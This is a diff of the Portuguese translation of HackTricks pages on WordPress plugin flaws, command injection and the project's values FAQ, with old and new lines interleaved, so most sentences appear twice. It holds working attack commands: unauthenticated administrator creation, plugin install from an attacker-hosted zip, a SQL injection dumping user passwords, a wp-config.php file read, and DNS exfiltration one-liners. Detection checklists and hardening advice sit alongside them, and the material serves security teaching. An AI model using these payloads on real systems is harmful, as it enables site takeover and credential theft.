- Vulnerable route (example): sure-triggers/v1/connection/create-wp-connection
- Flaw: accepts a username, issues a connection key without current_user_can() or a strict permission_callback
- Impact: comprometimento total ao encadear a chave emitida a ações internas privilegiadas
- Impact: full takeover by chaining the minted key to internal privileged actions
PoC emitir uma connection key e usá-la
PoC mint a connection key and use it
```bash
# 1) Obtain key (unauthenticated). Exact payload varies per plugin
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/connection/create-wp-connection" \
@ -756,28 +757,28 @@ curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \
--data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}'
```
Por que é explorável
- Rota REST sensível protegida apenas por prova de identidade de baixa entropia (username) ou ausência de permission_callback
- Sem enforcement de capability; a chave emitida é aceita como bypass universal
- Rota REST sensível protegida apenas por prova de identidade de baixa entropia (username) ou permission_callback ausente
- Sem aplicação de capability; chave emitida é aceita como um bypass universal
Checklist de detecção
- Grep o código do plugin por register_rest_route(..., [ 'permission_callback' => '__return_true' ])
- Qualquer rota que emita tokens/chaves com base em identidade fornecida na requisição (username/email) sem vinculá-la a um usuário autenticado ou capability
- Procure rotas subsequentes que aceitem o token/chave emitido sem checagens de capability no lado do servidor
Detection checklist
- Grep no código do plugin por register_rest_route(..., [ 'permission_callback' => '__return_true' ])
- Qualquer rota que emita tokens/keys baseada na identidade fornecida pela request (username/email) sem vincular a um user autenticado ou capability
- Procure rotas subsequentes que aceitam o token/key emitido sem verificações de capability no servidor
Mitigações
Hardening
- Para qualquer rota REST privilegiada: exigir permission_callback que aplique current_user_can() para a capability requerida
- Não crie chaves de longa duração a partir de identidade fornecida pelo cliente; se necessário, emita tokens de curta duração vinculados ao usuário após autenticação e reavalie as capabilities no uso
- Valide o contexto de usuário do chamador (wp_set_current_user não é suficiente sozinho) e rejeite requisições onde !is_user_logged_in() || !current_user_can(<cap>)
- Não mintar long-lived keys a partir da identidade fornecida pelo client; se necessário, emita tokens short-lived, vinculados ao usuário, pós-authentication e revalide as capabilities no uso
- Valide o contexto do usuário chamador (wp_set_current_user não é suficiente sozinho) e rejeite requests onde !is_user_logged_in() || !current_user_can(<cap>)
---
## Uso indevido do Nonce → instalação arbitrária de plugin sem autenticação (FunnelKit Automations ≤ 3.5.3)
## Nonce gate misuse → instalação arbitrária de plugin sem autenticação (FunnelKit Automations ≤ 3.5.3)
Nonces previnem CSRF, não autorização. Se o código trata a aprovação do nonce como sinal verde e então ignora checagens de capability para operações privilegiadas (por exemplo, install/activate plugins), atacantes não autenticados podem satisfazer um requisito de nonce fraco e alcançar RCE instalando um plugin com backdoor ou vulnerável.
Nonces previnem CSRF, não autorização. Se o código trata a passagem do nonce como sinal verde e então pula as verificações de capability para operações privilegiadas (e.g., install/activate plugins), atacantes não autenticados podem satisfazer um requisito de nonce fraco e alcançar RCE ao instalar um plugin backdoored ou vulnerável.
- Caminho vulnerável: plugin/install_and_activate
- Falha: verificação fraca do hash do nonce; ausência de current_user_can('install_plugins'|'activate_plugins') uma vez que o nonce “passe
- Impacto: comprometimento total via instalação/ativação arbitrária de plugins
- Vulnerable path: plugin/install_and_activate
- Flaw: weak nonce hash check; no current_user_can('install_plugins'|'activate_plugins') once nonce “passes
- Impact: full compromise via arbitrary plugin install/activation
PoC (shape depends on plugin; illustrative only)
```bash
@ -785,20 +786,20 @@ curl -i -s -X POST https://victim.tld/wp-json/<fk-namespace>/plugin/install_and_
-H 'Content-Type: application/json' \
--data '{"_nonce":"<weak-pass>","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}'
```
Detection checklist
- REST/AJAX handlers que modificam plugins/themes usando apenas wp_verify_nonce()/check_admin_referer() e sem verificação de capability
- Qualquer caminho de código que define $skip_caps = true após validação do nonce
Checklist de detecção
- Manipuladores REST/AJAX que modificam plugins/themes usando apenas wp_verify_nonce()/check_admin_referer() e sem verificação de capability
- Qualquer caminho de código que configura $skip_caps = true após a validação do nonce
Hardening
- Sempre trate nonces apenas como tokens CSRF; aplique verificações de capability independentemente do estado do nonce
- Exigir current_user_can('install_plugins') e current_user_can('activate_plugins') antes de alcançar o código do instalador
- Rejeitar acesso não autenticado; evitar expor nopriv AJAX actions para fluxos privilegiados
Endurecimento
- Tratar sempre nonces apenas como CSRF tokens; aplicar verificações de capability independentemente do estado do nonce
- Exigir current_user_can('install_plugins') e current_user_can('activate_plugins') antes de atingir o código do instalador
- Rejeitar acesso não autenticado; evitar expor ações nopriv AJAX para fluxos privilegiados
---
## SQLi não autenticado via parâmetro s (search) em ações depicter-* (Depicter Slider ≤ 3.6.1)
Múltiplas ações depicter-* consumiam o parâmetro s (search) e o concatenavam em queries SQL sem parametrização.
Múltiplas ações depicter-* consumiam o parâmetro s (search) e o concatenavam em consultas SQL sem parametrização.
- Parâmetro: s (search)
- Falha: concatenação direta de strings em cláusulas WHERE/LIKE; sem prepared statements/sanitização
@ -812,34 +813,34 @@ curl -G "https://victim.tld/wp-admin/admin-ajax.php" \
--data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -"
```
Checklist de detecção
- Grep por depicter-* action handlers e pelo uso direto de $_GET['s'] ou $_POST['s'] em SQL
- Revise consultas customizadas passadas para $wpdb->get_results()/query() que concatenam s
- Grep por depicter-* action handlers e uso direto de $_GET['s'] ou $_POST['s'] em SQL
- Revisar consultas customizadas passadas para $wpdb->get_results()/query() concatenando s
Endurecimento
- Use sempre $wpdb->prepare() ou placeholders do wpdb; rejeite metacaracteres inesperados no servidor
- Adicione uma allowlist estrita para s e normalize para o charset/tamanho esperado
Fortalecimento
- Sempre use $wpdb->prepare() ou placeholders do wpdb; rejeitar metacaracteres inesperados no servidor
- Adicionar uma allowlist estrita para s e normalizar para o charset/comprimento esperados
---
## Não autenticado Local File Inclusion via caminho de template/arquivo não validado (Kubio AI Page Builder ≤ 2.5.1)
## Unauthenticated Local File Inclusion via unvalidated template/file path (Kubio AI Page Builder ≤ 2.5.1)
Aceitar caminhos controlados pelo atacante em um parâmetro de template sem normalização/contenção permite ler arquivos locais arbitrários, e às vezes executar código se arquivos PHP/logs incluíveis forem carregados em tempo de execução.
Aceitar caminhos controlados pelo atacante em um parâmetro de template sem normalização/confinamento permite ler arquivos locais arbitrários, e às vezes execução de código se arquivos PHP/log incluíveis forem carregados em tempo de execução.
- Parameter: __kubio-site-edit-iframe-classic-template
- Parâmetro: __kubio-site-edit-iframe-classic-template
- Falha: sem normalização/allowlisting; traversal permitido
- Impacto: divulgação de segredos (wp-config.php), potencial RCE em ambientes específicos (log poisoning, includable PHP)
- Impacto: secret disclosure (wp-config.php), potential RCE in specific environments (log poisoning, includable PHP)
PoC ler wp-config.php
```bash
curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php"
```
Checklist de detecção
- Qualquer handler que concatene request paths em sinks include()/require()/read sem contenção via realpath()
- Procure por padrões de traversal (../) que alcancem fora do diretório de templates pretendido
- Qualquer handler que concatene caminhos de requisição em sinks include()/require()/read sem contenção por realpath()
- Procure por padrões de traversal (../) que alcancem além do diretório de templates pretendido
Endurecimento
- Imponha templates permitidos; resolva com realpath() e exija str_starts_with(realpath(file), realpath(allowed_base))
- Normalize a entrada; rejeite sequências de traversal e caminhos absolutos; use sanitize_file_name() somente para nomes de arquivo (não para caminhos completos)
Mitigação
- Imponha templates allowlisted; resolva com realpath() e require str_starts_with(realpath(file), realpath(allowed_base))
- Normalizar a entrada; rejeitar sequências de traversal e caminhos absolutos; usar sanitize_file_name() apenas para nomes de arquivo (não para caminhos completos)
## Referências

View File

@ -2,13 +2,13 @@
{{#include ../banners/hacktricks-training.md}}
## What is command Injection?
## O que é command Injection?
Uma **command injection** permite a execução de comandos arbitrários do sistema operacional por um atacante no servidor que hospeda uma aplicação. Como resultado, a aplicação e todos os seus dados podem ser totalmente comprometidos. A execução desses comandos normalmente permite ao atacante obter acesso não autorizado ou controle sobre o ambiente da aplicação e o sistema subjacente.
A **command injection** permite a execução de arbitrary operating system commands por um attacker no server que hospeda uma application. Como resultado, a application e todos os seus dados podem ser totalmente comprometidos. A execução desses comandos tipicamente permite que o attacker obtenha acesso não autorizado ou controle sobre o ambiente da application e o sistema subjacente.
### Contexto
Dependendo de **onde sua entrada está sendo injetada**, você pode precisar **encerrar o contexto entre aspas** (usando `"` ou `'`) antes dos comandos.
Dependendo de **onde sua entrada está sendo injetada** você pode precisar **encerrar o contexto entre aspas** (usando `"` ou `'`) antes dos comandos.
## Command Injection/Execution
```bash
@ -30,9 +30,9 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command
```
### **Limition** Bypasses
### **Limitação** Bypasses
Se você está tentando executar **arbitrary commands inside a linux machine**, vai se interessar em ler sobre estes **Bypasses:**
Se você está tentando executar **comandos arbitrários dentro de uma máquina linux** vai se interessar em ler sobre estes **Bypasses:**
{{#ref}}
@ -47,7 +47,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod
```
### Parâmetros
Aqui estão os 25 principais parâmetros que podem ser vulneráveis a code injection e a vulnerabilidades RCE semelhantes (de [link](https://twitter.com/trbughunters/status/1283133356922884096)):
Aqui estão os 25 principais parâmetros que podem ser vulneráveis a code injection e a outras vulnerabilidades RCE semelhantes (a partir do [link](https://twitter.com/trbughunters/status/1283133356922884096)):
```
?cmd={payload}
?exec={payload}
@ -77,7 +77,7 @@ Aqui estão os 25 principais parâmetros que podem ser vulneráveis a code injec
```
### Time based data exfiltration
Extraindo data: char por char
Extraindo data: char by char
```
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real 0m5.007s
@ -89,9 +89,9 @@ real 0m0.002s
user 0m0.000s
sys 0m0.000s
```
### DNS based data exfiltration
### Exfiltração de dados via DNS
Baseado na ferramenta de `https://github.com/HoLyVieR/dnsbin`, também hospedada em dnsbin.zhack.ca
Baseado na ferramenta de `https://github.com/HoLyVieR/dnsbin` também hospedada em dnsbin.zhack.ca
```
1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
@ -101,12 +101,12 @@ for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
```
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
```
Ferramentas online para verificar exfiltração de dados baseada em DNS:
Ferramentas online para verificar exfiltração de dados via DNS:
- dnsbin.zhack.ca
- pingb.in
### Filtering bypass
### Evasão de filtragem
#### Windows
```
@ -130,9 +130,9 @@ exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(pay
/* … */
});
```
`exec()` inicia uma **shell** (`/bin/sh -c`), portanto qualquer caractere que tenha significado especial para a shell (aspas invertidas, `;`, `&&`, `|`, `$()`, …) resultará em **command injection** quando a entrada do usuário for concatenada na string.
`exec()` cria um **shell** (`/bin/sh -c`), portanto qualquer caractere que tenha significado especial para o shell (back-ticks, `;`, `&&`, `|`, `$()`, …) resultará em **command injection** quando a entrada do usuário for concatenada na string.
**Mitigação:** use `execFile()` (ou `spawn()` sem a opção `shell`) e forneça **cada argumento como um elemento separado do array** para que nenhuma shell esteja envolvida:
**Mitigação:** use `execFile()` (ou `spawn()` sem a opção `shell`) e forneça **cada argumento como um elemento separado de array** para que nenhum shell esteja envolvido:
```javascript
const { execFile } = require('child_process');
execFile('/usr/bin/do-something', [
@ -140,27 +140,27 @@ execFile('/usr/bin/do-something', [
'--payload', JSON.stringify(payload)
]);
```
Caso real: *Synology Photos* ≤ 1.7.0-0794 era explorável através de um evento WebSocket não autenticado que colocou dados controlados pelo atacante em `id_user`, os quais foram posteriormente embutidos em uma chamada `exec()`, permitindo RCE (Pwn2Own Ireland 2024).
Real-world case: *Synology Photos* ≤ 1.7.0-0794 was exploitable through an unauthenticated WebSocket event that placed attacker controlled data into `id_user` which was later embedded in an `exec()` call, achieving RCE (Pwn2Own Ireland 2024).
### Argument/Option injection via leading hyphen (argv, no shell metacharacters)
### Injeção de argumentos/opções via hífen inicial (argv, no shell metacharacters)
Nem todas as injeções exigem metacaracteres do shell. Se a aplicação passa strings não confiáveis como argumentos para um utilitário do sistema (mesmo com `execve`/`execFile` e sem shell), muitos programas ainda interpretarão qualquer argumento que comece com `-` ou `--` como uma opção. Isso permite que um atacante mude modos, altere caminhos de saída ou dispare comportamentos perigosos sem nunca abrir um shell.
Nem todas as injeções exigem shell metacharacters. Se a aplicação passa strings não confiáveis como argumentos para uma ferramenta do sistema (mesmo com `execve`/`execFile` e sem shell), muitos programas ainda interpretarão qualquer argumento que comece com `-` ou `--` como uma opção. Isso permite que um atacante mude modos, altere caminhos de saída ou acione comportamentos perigosos sem nunca abrir um shell.
Locais típicos onde isso aparece:
Lugares típicos onde isso aparece:
- Embedded web UIs/CGI handlers que constroem comandos como `ping <user>`, `tcpdump -i <iface> -w <file>`, `curl <url>`, etc.
- Centralized CGI routers (e.g., `/cgi-bin/<something>.cgi` com um parâmetro seletor como `topicurl=<handler>`) onde múltiplos handlers reutilizam o mesmo validador fraco.
- Centralized CGI routers (e.g., `/cgi-bin/<something>.cgi` with a selector parameter like `topicurl=<handler>`) onde múltiplos handlers reutilizam o mesmo validador fraco.
O que tentar:
- Forneça valores que comecem com `-`/`--` para serem interpretados como flags pela ferramenta a jusante.
- Abusar de flags que mudam o comportamento ou escrevem arquivos, por exemplo:
- Fornecer valores que comecem com `-`/`--` para serem consumidos como flags pela ferramenta downstream.
- Abusar de flags que alteram comportamento ou escrevem arquivos, por exemplo:
- `ping`: `-f`/`-c 100000` para sobrecarregar o dispositivo (DoS)
- `curl`: `-o /tmp/x` para gravar caminhos arbitrários, `-K <url>` para carregar configuração controlada pelo atacante
- `tcpdump`: `-G 1 -W 1 -z /path/script.sh` para obter execução após rotação em wrappers inseguros
- Se o programa aceita `--` (end-of-options), tente contornar mitigações ingênuas que prefixam `--` no lugar errado.
- `curl`: `-o /tmp/x` para escrever caminhos arbitrários, `-K <url>` para carregar configuração controlada pelo atacante
- `tcpdump`: `-G 1 -W 1 -z /path/script.sh` para conseguir execução pós-rotacionamento em wrappers inseguros
- Se o programa suporta `--` end-of-options, tente contornar mitigações ingênuas que pré-pendem `--` no lugar errado.
Formas genéricas de PoC contra roteadores CGI centralizados:
Generic PoC shapes against centralized CGI dispatchers:
```
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded

View File

@ -1,4 +1,4 @@
# HackTricks Valores & FAQ
# Valores do HackTricks & FAQ
{{#include ../banners/hacktricks-training.md}}
@ -7,13 +7,13 @@
> [!TIP]
> Estes são os **valores do Projeto HackTricks**:
>
> - Oferecer acesso **GRATUITO** a recursos **EDUCACIONAIS de hacking** para **TODA** a Internet.
> - Hacking é sobre aprender, e aprender deve ser o mais gratuito possível.
> - Dar acesso **GRÁTIS** a recursos de hacking **EDUCACIONAIS** para **TODA** a Internet.
> - Hacking é sobre aprender, e o aprendizado deve ser o mais gratuito possível.
> - O propósito deste livro é servir como um **recurso educacional** abrangente.
> - **ARMAZENAR** técnicas incríveis de **hacking** que a comunidade publica dando a todos os **AUTORES** **ORIGINAIS** todos os **créditos**.
> - **Nós não queremos os créditos de outras pessoas**, queremos apenas armazenar truques legais para todos.
> - **ARMAZENAR** técnicas de hacking incríveis que a comunidade publica dando todo o **CRÉDITO** aos **AUTORES ORIGINAIS**.
> - **Não queremos o crédito de outras pessoas**, apenas queremos armazenar truques legais para todos.
> - Também escrevemos **nossas próprias pesquisas** no HackTricks.
> - Em vários casos escreveremos apenas **no HackTricks um resumo das partes importantes** da técnica e **encorajaremos o leitor a visitar a publicação original** para mais detalhes.
> - Em vários casos iremos apenas escrever **no HackTricks um resumo das partes importantes** da técnica e **encorajar o leitor a visitar o post original** para mais detalhes.
> - **ORGANIZAR** todas as técnicas de hacking no livro para que seja **MAIS ACESSÍVEL**
> - A equipe do HackTricks dedicou milhares de horas gratuitamente **apenas para organizar o conteúdo** para que as pessoas possam **aprender mais rápido**
@ -23,35 +23,35 @@
> [!TIP]
>
> - **Muito obrigado por estes recursos, como posso agradecer?**
> - **Muito obrigado por esses recursos, como posso agradecer?**
Você pode agradecer publicamente às equipes do HackTricks por disponibilizarem todos esses recursos em um tweet mencionando [**@hacktricks_live**](https://twitter.com/hacktricks_live).\
Se você estiver especialmente agradecido, você também pode [**patrocinar o projeto aqui**](https://github.com/sponsors/carlospolop).\
E não esqueça de **dar uma estrela nos projetos do Github!** (Encontre os links abaixo).
Você pode agradecer publicamente às equipes do HackTricks por reunir todos esses recursos publicamente em um tweet mencionando [**@hacktricks_live**](https://twitter.com/hacktricks_live).\
Se você estiver especialmente grato, também pode [**patrocinar o projeto aqui**](https://github.com/sponsors/carlospolop).\
E não se esqueça de **dar uma estrela nos projetos do Github!** (Encontre os links abaixo).
> [!TIP]
>
> - **Como posso contribuir para o projeto?**
Você pode **compartilhar novas dicas e truques com a comunidade ou corrigir bugs** que encontrar nos livros enviando um **Pull Request** para as páginas correspondentes do Github:
Você pode **compartilhar novas dicas e truques com a comunidade ou corrigir bugs** que encontrar nos livros enviando um **Pull Request** para as respectivas páginas do Github:
- [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks)
- [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)
Não esqueça de **dar uma estrela nos projetos do Github!**
Não se esqueça de **dar uma estrela nos projetos do Github!**
> [!TIP]
>
> - **Posso copiar algum conteúdo do HackTricks e colocá-lo no meu blog?**
Sim, você pode, mas **não esqueça de mencionar o(s) link(s) específico(s)** de onde o conteúdo foi retirado.
Sim, você pode, mas **não esqueça de mencionar os link(s) específicos** de onde o conteúdo foi retirado.
> [!TIP]
>
> - **Como posso referenciar uma página do HackTricks?**
Enquanto o link **da** página(s) de onde você retirou a informação aparecer, isso é suficiente.\
Se você precisar de um bibtex, você pode usar algo como:
Contanto que o link **da(s)** página(s) de onde você obteve a informação apareça, isso é suficiente.\
Se precisar de um bibtex você pode usar algo como:
```latex
@misc{hacktricks-bibtexing,
author = {"HackTricks Team" or the Authors name of the specific page/trick},
@ -62,29 +62,29 @@ url = {\url{https://book.hacktricks.wiki/specific-page}},
```
> [!WARNING]
>
> - **Posso copiar todos os HackTricks para o meu blog?**
> - **Posso copiar todo o HackTricks no meu blog?**
**Prefiro que não**. Isso **não vai beneficiar ninguém**, pois todo o **conteúdo já está disponível publicamente** nos livros oficiais do HackTricks gratuitamente.
**Prefiro que não**. Isso **não vai beneficiar ninguém**, já que todo o **conteúdo já está publicamente disponível** nos livros oficiais do HackTricks gratuitamente.
Se você teme que isso vá desaparecer, simplesmente faça um fork no Github ou faça o download; como eu disse, já é gratuito.
Se você teme que vá desaparecer, apenas faça um fork no Github ou baixe-o, como eu disse, já é gratuito.
> [!WARNING]
>
> - **Por que vocês têm patrocinadores? Os livros do HackTricks têm fins comerciais?**
O primeiro **valor** do **HackTricks** é oferecer recursos educacionais de hacking **GRÁTIS** para **TODO** o mundo. A equipe do HackTricks dedicou **milhares de horas** para oferecer este conteúdo, novamente, **GRATUITAMENTE**.
O primeiro **valor** do **HackTricks** é oferecer recursos educacionais de hacking **GRATUITOS** para **TODO** o mundo. A equipe do HackTricks dedicou **milhares de horas** para oferecer este conteúdo, novamente, **GRATUITAMENTE**.
Se você acha que os livros do HackTricks foram feitos para **fins comerciais**, você está **COMPLETAMENTE ERRADO**.
Se você pensa que os livros do HackTricks são feitos para **fins comerciais**, você está **COMPLETAMENTE ERRADO**.
Temos patrocinadores porque, mesmo que todo o conteúdo seja GRÁTIS, queremos **oferecer à comunidade a possibilidade de valorizar nosso trabalho** se assim desejarem. Portanto, oferecemos às pessoas a opção de doar para o HackTricks via [**Github sponsors**](https://github.com/sponsors/carlospolop), e **empresas relevantes de cybersecurity** podem patrocinar o HackTricks e **ter alguns anúncios** no livro, sendo os **anúncios** sempre colocados em locais onde os tornam **visíveis** mas **não atrapalham o processo de aprendizagem** caso alguém foque no conteúdo.
Temos patrocinadores porque, mesmo que todo o conteúdo seja GRÁTIS, queremos **oferecer à comunidade a possibilidade de apreciar nosso trabalho** caso desejem. Portanto, oferecemos às pessoas a opção de doar para o HackTricks via [**Github sponsors**](https://github.com/sponsors/carlospolop), e **empresas relevantes de cibersegurança** podem patrocinar o HackTricks e **ter alguns anúncios** no livro, sendo os **anúncios** sempre colocados em locais onde fiquem **visíveis** mas **não atrapalhem o processo de aprendizagem** se alguém focar no conteúdo.
Você não encontrará o HackTricks cheio de anúncios irritantes como outros blogs com bem menos conteúdo, porque o HackTricks não foi feito para fins comerciais.
Você não encontrará o HackTricks cheio de anúncios irritantes como outros blogs com muito menos conteúdo que o HackTricks, porque o HackTricks não foi feito para fins comerciais.
> [!CAUTION]
>
> - **O que devo fazer se alguma página do HackTricks estiver baseada no meu post do blog mas não estiver referenciada?**
**Sentimos muito. Isso não deveria ter acontecido**. Por favor, nos informe via Github issues, Twitter, Discord... o link da página do HackTricks com o conteúdo e o link do seu blog e **vamos verificar e adicionar o crédito o mais rápido possível**.
**Lamentamos muito. Isso não deveria ter acontecido**. Por favor, nos informe via issues no Github, Twitter, Discord... o link da página do HackTricks com o conteúdo e o link do seu blog e **verificaremos e adicionaremos o mais rápido possível**.
> [!CAUTION]
>
@ -94,17 +94,17 @@ Note que ter links para sua página no HackTricks:
- Melhora seu **SEO**
- O conteúdo é **traduzido para mais de 15 idiomas**, possibilitando que mais pessoas acessem esse conteúdo
- **HackTricks incentiva** as pessoas a **verem sua página** (várias pessoas nos disseram que, desde que alguma página delas apareceu no HackTricks, elas receberam mais visitas)
- **HackTricks incentiva** as pessoas a **checar sua página** (várias pessoas nos disseram que desde que alguma página delas apareceu no HackTricks, elas receberam mais visitas)
No entanto, se você ainda deseja que o conteúdo do seu blog seja removido do HackTricks, apenas nos avise e definitivamente **removeremos todo link para seu blog**, e qualquer conteúdo baseado nele.
No entanto, se você ainda quiser que o conteúdo do seu blog seja removido do HackTricks, apenas nos avise e nós definitivamente **removeremos todo link para seu blog**, e qualquer conteúdo baseado nele.
> [!CAUTION]
>
> - **O que devo fazer se encontrar conteúdo copiado e colado no HackTricks?**
Nós sempre **damos todo o crédito aos autores originais**. Se você encontrar uma página com conteúdo copiado sem a fonte original referenciada, avise-nos e nós iremos **removê-la**, **adicionar o link antes do texto**, ou **reescrevê-la adicionando o link**.
Sempre **damos crédito aos autores originais**. Se você encontrar uma página com conteúdo copiado sem a fonte original referenciada, nos informe e nós **remoção**remos, **adicionaremos o link antes do texto**, ou **reescreveremos adicionando o link**.
## LICENSE
## LICENÇA
Copyright © Todos os direitos reservados, salvo indicação em contrário.
@ -112,32 +112,32 @@ Copyright © Todos os direitos reservados, salvo indicação em contrário.
- Atribuição: Você tem liberdade para:
- Compartilhar — copiar e redistribuir o material em qualquer meio ou formato.
- Adaptar — remixar, transformar e criar a partir do material.
- Adaptar — remixar, transformar e construir a partir do material.
#### Termos Adicionais:
- Conteúdo de Terceiros: Algumas partes deste blog/livro podem incluir conteúdo de outras fontes, como excertos de outros blogs ou publicações. O uso de tal conteúdo é feito sob os princípios de fair use ou com permissão explícita dos respectivos detentores de direitos autorais. Consulte as fontes originais para informações específicas de licenciamento relativas a conteúdo de terceiros.
- Autoria: O conteúdo original criado pelo HackTricks está sujeito aos termos desta licença. Recomenda-se creditar este trabalho ao autor ao compartilhar ou adaptar o material.
- Third-Party Content: Algumas partes deste blog/livro podem incluir conteúdo de outras fontes, como trechos de outros blogs ou publicações. O uso de tal conteúdo é feito sob os princípios de fair use ou com permissão explícita dos respectivos detentores de direitos autorais. Consulte as fontes originais para informações específicas de licenciamento referentes ao conteúdo de terceiros.
- Autoria: O conteúdo original produzido pelo HackTricks está sujeito aos termos desta licença. É recomendado atribuir este trabalho ao autor ao compartilhar ou adaptar.
#### Isenções:
- Uso Comercial: Para consultas relacionadas ao uso comercial deste conteúdo, por favor entre em contato comigo.
- Uso Comercial: Para consultas sobre uso comercial deste conteúdo, por favor entre em contato comigo.
Esta licença não concede quaisquer direitos de marca registrada ou de branding em relação ao conteúdo. Todas as marcas registradas e identidades visuais apresentadas neste blog/livro são propriedade de seus respectivos proprietários.
Esta licença não concede quaisquer direitos sobre marcas registradas ou branding em relação ao conteúdo. Todas as marcas registradas e identificações exibidas neste blog/livro são propriedade de seus respectivos donos.
**Ao acessar ou usar o HackTricks, você concorda em cumprir os termos desta licença. Se você não concorda com estes termos, por favor, não acesse este site.**
## **Disclaimer**
## **Aviso Legal**
> [!CAUTION]
> Este livro, 'HackTricks', destina-se apenas a fins educacionais e informativos. O conteúdo deste livro é fornecido no estado em que se encontra, e os autores e editores não fazem quaisquer declarações ou garantias de qualquer tipo, expressas ou implícitas, sobre a integridade, exatidão, confiabilidade, adequação ou disponibilidade das informações, produtos, serviços ou gráficos relacionados contidos neste livro. Qualquer confiança que você deposite em tais informações é, portanto, estritamente por sua conta e risco.
> Este livro, 'HackTricks', destina-se apenas a fins educativos e informativos. O conteúdo deste livro é fornecido no estado em que se encontra, e os autores e editores não fazem declarações ou garantias de qualquer tipo, expressas ou implícitas, sobre a completude, precisão, confiabilidade, adequação ou disponibilidade das informações, produtos, serviços ou gráficos relacionados contidos neste livro. Qualquer confiança que você deposite em tais informações é, portanto, estritamente por sua conta e risco.
>
> Em nenhuma hipótese os autores e editores serão responsabilizados por qualquer perda ou dano, incluindo, sem limitação, perda ou dano indireto ou consequencial, ou qualquer perda ou dano decorrente de perda de dados ou lucros decorrentes de, ou em conexão com, o uso deste livro.
> Os autores e editores não serão, em hipótese alguma, responsáveis por qualquer perda ou dano, incluindo, sem limitação, perdas ou danos indiretos ou consequenciais, ou qualquer perda ou dano decorrente da perda de dados ou lucros decorrentes de, ou em conexão com, o uso deste livro.
>
> Ademais, as técnicas e dicas descritas neste livro são fornecidas apenas para fins educacionais e informativos, e não devem ser usadas para quaisquer atividades ilegais ou maliciosas. Os autores e editores não apoiam nem incentivam quaisquer atividades ilegais ou antiéticas, e qualquer uso das informações contidas neste livro é de responsabilidade e risco do usuário.
> Além disso, as técnicas e dicas descritas neste livro são fornecidas apenas para fins educativos e informativos, e não devem ser usadas para atividades ilegais ou maliciosas. Os autores e editores não apoiam nem incentivam quaisquer atividades ilegais ou antiéticas, e qualquer uso das informações contidas neste livro é de responsabilidade e risco do usuário.
>
> O usuário é o único responsável por quaisquer ações tomadas com base nas informações contidas neste livro, e deve sempre buscar aconselhamento e assistência profissional ao tentar implementar quaisquer técnicas ou dicas aqui descritas.
> O usuário é o único responsável por quaisquer ações tomadas com base nas informações contidas neste livro, e deve sempre procurar aconselhamento profissional e assistência ao tentar implementar quaisquer técnicas ou dicas aqui descritas.
>
> Ao usar este livro, o usuário concorda em liberar os autores e editores de qualquer e toda responsabilidade por quaisquer danos, perdas ou prejuízos que possam resultar do uso deste livro ou de qualquer informação aqui contida.
> Ao usar este livro, o usuário concorda em isentar os autores e editores de qualquer e toda responsabilidade por quaisquer danos, perdas ou prejuízos que possam resultar do uso deste livro ou de qualquer informação nele contida.
{{#include ../banners/hacktricks-training.md}}